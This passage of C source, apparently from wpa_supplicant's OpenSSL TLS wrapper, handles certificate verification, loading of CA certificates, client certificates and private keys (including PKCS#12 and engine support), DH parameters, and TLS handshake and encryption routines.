!tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "AltSubject mismatch", TLS_FAIL_ALTSUBJECT_MISMATCH); } else openssl_tls_cert_event(conn, err_cert, depth, buf); if (conn->cert_probe && preverify_ok && depth == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reject server certificate " "on probe-only run"); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Server certificate chain probe", TLS_FAIL_SERVER_CHAIN_PROBE); } return preverify_ok; } #ifndef OPENSSL_NO_STDIO static int tls_load_ca_der(void *_ssl_ctx, const char *ca_cert) { SSL_CTX *ssl_ctx = _ssl_ctx; X509_LOOKUP *lookup; int ret = 0; lookup = X509_STORE_add_lookup(ssl_ctx->cert_store, X509_LOOKUP_file()); if (lookup == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed add lookup for X509 store"); return -1; } if (!X509_LOOKUP_load_file(lookup, ca_cert, X509_FILETYPE_ASN1)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed load CA in DER format"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else ret = -1; } return ret; } #endif /* OPENSSL_NO_STDIO */ static int tls_connection_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert, const u8 *ca_cert_blob, size_t ca_cert_blob_len, const char *ca_path) { SSL_CTX *ssl_ctx = _ssl_ctx; /* * Remove previously configured trusted CA certificates before adding * new ones. */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); return -1; } SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); conn->ca_cert_verify = 1; if (ca_cert && os_strncmp(ca_cert, "probe://", 8) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Probe for server certificate " "chain"); conn->cert_probe = 1; conn->ca_cert_verify = 0; return 0; } if (ca_cert && os_strncmp(ca_cert, "hash://", 7) == 0) { #ifdef CONFIG_SHA256 const char *pos = ca_cert + 7; if (os_strncmp(pos, "server/sha256/", 14) != 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Unsupported ca_cert " "hash value '%s'", ca_cert); return -1; } pos += 14; if (os_strlen(pos) != 32 * 2) { wpa_printf(MSG_DEBUG, "OpenSSL: Unexpected SHA256 " "hash length in ca_cert '%s'", ca_cert); return -1; } if (hexstr2bin(pos, conn->srv_cert_hash, 32) < 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Invalid SHA256 hash " "value in ca_cert '%s'", ca_cert); return -1; } conn->server_cert_only = 1; wpa_printf(MSG_DEBUG, "OpenSSL: Checking only server " "certificate match"); return 0; #else /* CONFIG_SHA256 */ wpa_printf(MSG_INFO, "No SHA256 included in the build - " "cannot validate server certificate hash"); return -1; #endif /* CONFIG_SHA256 */ } if (ca_cert_blob) { X509 *cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ca_cert_blob, ca_cert_blob_len); if (cert == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed to parse ca_cert_blob"); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert_blob to " "certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added ca_cert_blob " "to certificate store", __func__); return 0; } #ifdef CONFIG_NATIVE_WINDOWS if (ca_cert && tls_cryptoapi_ca_cert(ssl_ctx, conn->ssl, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Added CA certificates from " "system certificate store"); return 0; } #endif /* CONFIG_NATIVE_WINDOWS */ if (ca_cert || ca_path) { #ifndef OPENSSL_NO_STDIO if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, ca_path) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); if (ca_cert && tls_load_ca_der(ssl_ctx, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - loaded " "DER format CA certificate", __func__); } else return -1; } else { wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); tls_get_errors(ssl_ctx); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } else { /* No ca_cert configured - do not try to verify server * certificate */ conn->ca_cert_verify = 0; } return 0; } static int tls_global_ca_cert(SSL_CTX *ssl_ctx, const char *ca_cert) { if (ca_cert) { if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, NULL) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); return -1; } wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); #ifndef OPENSSL_NO_STDIO /* Add the same CAs to the client certificate requests */ SSL_CTX_set_client_CA_list(ssl_ctx, SSL_load_client_CA_file(ca_cert)); #endif /* OPENSSL_NO_STDIO */ } return 0; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { int flags; if (check_crl) { X509_STORE *cs = SSL_CTX_get_cert_store(ssl_ctx); if (cs == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to get " "certificate store when enabling " "check_crl"); return -1; } flags = X509_V_FLAG_CRL_CHECK; if (check_crl == 2) flags |= X509_V_FLAG_CRL_CHECK_ALL; X509_STORE_set_flags(cs, flags); } return 0; } static int tls_connection_set_subject_match(struct tls_connection *conn, const char *subject_match, const char *altsubject_match) { os_free(conn->subject_match); conn->subject_match = NULL; if (subject_match) { conn->subject_match = os_strdup(subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (altsubject_match) { conn->altsubject_match = os_strdup(altsubject_match); if (conn->altsubject_match == NULL) return -1; } return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { static int counter = 0; if (conn == NULL) return -1; if (verify_peer) { conn->ca_cert_verify = 1; SSL_set_verify(conn->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT | SSL_VERIFY_CLIENT_ONCE, tls_verify_cb); } else { conn->ca_cert_verify = 0; SSL_set_verify(conn->ssl, SSL_VERIFY_NONE, NULL); } SSL_set_accept_state(conn->ssl); /* * Set session id context in order to avoid fatal errors when client * tries to resume a session. However, set the context to a unique * value in order to effectively disable session resumption for now * since not all areas of the server code are ready for it (e.g., * EAP-TTLS needs special handling for Phase 2 after abbreviated TLS * handshake). */ counter++; SSL_set_session_id_context(conn->ssl, (const unsigned char *) &counter, sizeof(counter)); return 0; } static int tls_connection_client_cert(struct tls_connection *conn, const char *client_cert, const u8 *client_cert_blob, size_t client_cert_blob_len) { if (client_cert == NULL && client_cert_blob == NULL) return 0; if (client_cert_blob && SSL_use_certificate_ASN1(conn->ssl, (u8 *) client_cert_blob, client_cert_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_ASN1 --> " "OK"); return 0; } else if (client_cert_blob) { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_ASN1 failed"); } if (client_cert == NULL) return -1; #ifndef OPENSSL_NO_STDIO if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (DER)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (DER) failed"); } if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (PEM)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (PEM) failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ return -1; } static int tls_global_client_cert(SSL_CTX *ssl_ctx, const char *client_cert) { #ifndef OPENSSL_NO_STDIO if (client_cert == NULL) return 0; if (SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_PEM) != 1) { tls_show_errors(MSG_INFO, __func__, "Failed to load client certificate"); return -1; } return 0; #else /* OPENSSL_NO_STDIO */ if (client_cert == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } static int tls_passwd_cb(char *buf, int size, int rwflag, void *password) { if (password == NULL) { return 0; } os_strlcpy(buf, (char *) password, size); return os_strlen(buf); } #ifdef PKCS12_FUNCS static int tls_parse_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, PKCS12 *p12, const char *passwd) { EVP_PKEY *pkey; X509 *cert; STACK_OF(X509) *certs; int res = 0; char buf[256]; pkey = NULL; cert = NULL; certs = NULL; if (!PKCS12_parse(p12, passwd, &pkey, &cert, &certs)) { tls_show_errors(MSG_DEBUG, __func__, "Failed to parse PKCS12 file"); PKCS12_free(p12); return -1; } wpa_printf(MSG_DEBUG, "TLS: Successfully parsed PKCS12 data"); if (cert) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: Got certificate from PKCS12: " "subject='%s'", buf); if (ssl) { if (SSL_use_certificate(ssl, cert) != 1) res = -1; } else { if (SSL_CTX_use_certificate(ssl_ctx, cert) != 1) res = -1; } X509_free(cert); } if (pkey) { wpa_printf(MSG_DEBUG, "TLS: Got private key from PKCS12"); if (ssl) { if (SSL_use_PrivateKey(ssl, pkey) != 1) res = -1; } else { if (SSL_CTX_use_PrivateKey(ssl_ctx, pkey) != 1) res = -1; } EVP_PKEY_free(pkey); } if (certs) { while ((cert = sk_X509_pop(certs)) != NULL) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: additional certificate" " from PKCS12: subject='%s'", buf); /* * There is no SSL equivalent for the chain cert - so * always add it to the context... */ if (SSL_CTX_add_extra_chain_cert(ssl_ctx, cert) != 1) { res = -1; break; } } sk_X509_free(certs); } PKCS12_free(p12); if (res < 0) tls_get_errors(ssl_ctx); return res; } #endif /* PKCS12_FUNCS */ static int tls_read_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, const char *private_key, const char *passwd) { #ifdef PKCS12_FUNCS FILE *f; PKCS12 *p12; f = fopen(private_key, "rb"); if (f == NULL) return -1; p12 = d2i_PKCS12_fp(f, NULL); fclose(f); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 file"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot read " "p12/pfx files"); return -1; #endif /* PKCS12_FUNCS */ } static int tls_read_pkcs12_blob(SSL_CTX *ssl_ctx, SSL *ssl, const u8 *blob, size_t len, const char *passwd) { #ifdef PKCS12_FUNCS PKCS12 *p12; p12 = d2i_PKCS12(NULL, (OPENSSL_d2i_TYPE) &blob, len); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 blob"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot parse " "p12/pfx blobs"); return -1; #endif /* PKCS12_FUNCS */ } #ifndef OPENSSL_NO_ENGINE static int tls_engine_get_cert(struct tls_connection *conn, const char *cert_id, X509 **cert) { /* this runs after the private key is loaded so no PIN is required */ struct { const char *cert_id; X509 *cert; } params; params.cert_id = cert_id; params.cert = NULL; if (!ENGINE_ctrl_cmd(conn->engine, "LOAD_CERT_CTRL", 0, ¶ms, NULL, 1)) { wpa_printf(MSG_ERROR, "ENGINE: cannot load client cert with id" " '%s' [%s]", cert_id, ERR_error_string(ERR_get_error(), NULL)); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } if (!params.cert) { wpa_printf(MSG_ERROR, "ENGINE: did not properly cert with id" " '%s'", cert_id); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } *cert = params.cert; return 0; } #endif /* OPENSSL_NO_ENGINE */ static int tls_connection_engine_client_cert(struct tls_connection *conn, const char *cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; if (tls_engine_get_cert(conn, cert_id, &cert)) return -1; if (!SSL_use_certificate(conn->ssl, cert)) { tls_show_errors(MSG_ERROR, __func__, "SSL_use_certificate failed"); X509_free(cert); return -1; } X509_free(cert); wpa_printf(MSG_DEBUG, "ENGINE: SSL_use_certificate --> " "OK"); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; SSL_CTX *ssl_ctx = _ssl_ctx; if (tls_engine_get_cert(conn, ca_cert_id, &cert)) return -1; /* start off the same as tls_connection_ca_cert */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); X509_free(cert); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add CA certificate from engine " "to certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring cert" " already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added CA certificate from engine " "to certificate store", __func__); SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_private_key(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE if (SSL_use_PrivateKey(conn->ssl, conn->private_key) != 1) { tls_show_errors(MSG_ERROR, __func__, "ENGINE: cannot use private key for TLS"); return -1; } if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; #else /* OPENSSL_NO_ENGINE */ wpa_printf(MSG_ERROR, "SSL: Configuration uses engine, but " "engine support was not compiled in"); return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_private_key(void *_ssl_ctx, struct tls_connection *conn, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { SSL_CTX *ssl_ctx = _ssl_ctx; char *passwd; int ok; if (private_key == NULL && private_key_blob == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); ok = 0; while (private_key_blob) { if (SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_RSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA)" " failed"); } if (SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_DSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA)" " failed"); } if (SSL_use_RSAPrivateKey_ASN1(conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_RSAPrivateKey_ASN1 --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_RSAPrivateKey_ASN1 failed"); } if (tls_read_pkcs12_blob(ssl_ctx, conn->ssl, private_key_blob, private_key_blob_len, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: PKCS#12 as blob --> " "OK"); ok = 1; break; } break; } while (!ok && private_key) { #ifndef OPENSSL_NO_STDIO if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (DER) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (DER) " "failed"); } if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (PEM) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (PEM) " "failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ if (tls_read_pkcs12(ssl_ctx, conn->ssl, private_key, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reading PKCS#12 file " "--> OK"); ok = 1; break; } if (tls_cryptoapi_cert(conn->ssl, private_key) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Using CryptoAPI to " "access certificate store --> OK"); ok = 1; break; } break; } if (!ok) { wpa_printf(MSG_INFO, "OpenSSL: Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); os_free(passwd); if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed " "verification"); return -1; } wpa_printf(MSG_DEBUG, "SSL: Private key loaded successfully"); return 0; } static int tls_global_private_key(SSL_CTX *ssl_ctx, const char *private_key, const char *private_key_passwd) { char *passwd; if (private_key == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); if ( #ifndef OPENSSL_NO_STDIO SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_PEM) != 1 && #endif /* OPENSSL_NO_STDIO */ tls_read_pkcs12(ssl_ctx, NULL, private_key, passwd)) { tls_show_errors(MSG_INFO, __func__, "Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } os_free(passwd); ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); if (!SSL_CTX_check_private_key(ssl_ctx)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; } static int tls_connection_dh(struct tls_connection *conn, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (conn == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_set_tmp_dh(conn->ssl, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } static int tls_global_dh(SSL_CTX *ssl_ctx, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (ssl_ctx == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_CTX_set_tmp_dh(ssl_ctx, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { SSL *ssl; if (conn == NULL || keys == NULL) return -1; ssl = conn->ssl; if (ssl == NULL || ssl->s3 == NULL || ssl->session == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); keys->master_key = ssl->session->master_key; keys->master_key_len = ssl->session->master_key_length; keys->client_random = ssl->s3->client_random; keys->client_random_len = SSL3_RANDOM_SIZE; keys->server_random = ssl->s3->server_random; keys->server_random_len = SSL3_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } static struct wpabuf * openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data, int server) { int res; struct wpabuf *out_data; /* * Give TLS handshake data from the server (if available) to OpenSSL * for processing. */ if (in_data && BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)) < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_write"); return NULL; } /* Initiate TLS handshake or continue the existing handshake */ if (server) res = SSL_accept(conn->ssl); else res = SSL_connect(conn->ssl); if (res != 1) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want " "more data"); else if (err == SSL_ERROR_WANT_WRITE) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want to " "write"); else { tls_show_errors(MSG_INFO, __func__, "SSL_connect"); conn->failed++; } } /* Get the TLS handshake data to be sent to the server */ res = BIO_ctrl_pending(conn->ssl_out); wpa_printf(MSG_DEBUG, "SSL: %d bytes pending from ssl_out", res); out_data = wpabuf_alloc(res); if (out_data == NULL) { wpa_printf(MSG_DEBUG, "SSL: Failed to allocate memory for " "handshake output (%d bytes)", res); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } return NULL; } res = res == 0 ? 0 : BIO_read(conn->ssl_out, wpabuf_mhead(out_data), res); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_read"); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } wpabuf_free(out_data); return NULL; } wpabuf_put(out_data, res); return out_data; } static struct wpabuf * openssl_get_appl_data(struct tls_connection *conn, size_t max_len) { struct wpabuf *appl_data; int res; appl_data = wpabuf_alloc(max_len + 100); if (appl_data == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(appl_data), wpabuf_size(appl_data)); if (res < 0) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ || err == SSL_ERROR_WANT_WRITE) { wpa_printf(MSG_DEBUG, "SSL: No Application Data " "included"); } else { tls_show_errors(MSG_INFO, __func__, "Failed to read possible " "Application Data"); } wpabuf_free(appl_data); return NULL; } wpabuf_put(appl_data, res); wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application Data in Finished " "message", appl_data); return appl_data; } static struct wpabuf * openssl_connection_handshake(struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data, int server) { struct wpabuf *out_data; if (appl_data) *appl_data = NULL; out_data = openssl_handshake(conn, in_data, server); if (out_data == NULL) return NULL; if (SSL_is_init_finished(conn->ssl) && appl_data && in_data) *appl_data = openssl_get_appl_data(conn, wpabuf_len(in_data)); return out_data; } struct wpabuf * tls_connection_handshake(void *ssl_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 0); } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 1); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; if (conn == NULL) return NULL; /* Give plaintext data for OpenSSL to encrypt into the TLS tunnel. */ if ((res = BIO_reset(conn->ssl_in)) < 0 || (res = BIO_reset(conn->ssl_out)) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Encryption failed - SSL_write"); return NULL; } /* Read encrypted data to be sent to the server */ buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = BIO_read(conn->ssl_out, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Encryption failed - BIO_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; /* Give encrypted data from TLS tunnel for OpenSSL to decrypt. */ res = BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - BIO_write"); return NULL; } if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } /* Read decrypted data for further processing */ /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - SSL_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->ssl->hit : 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { 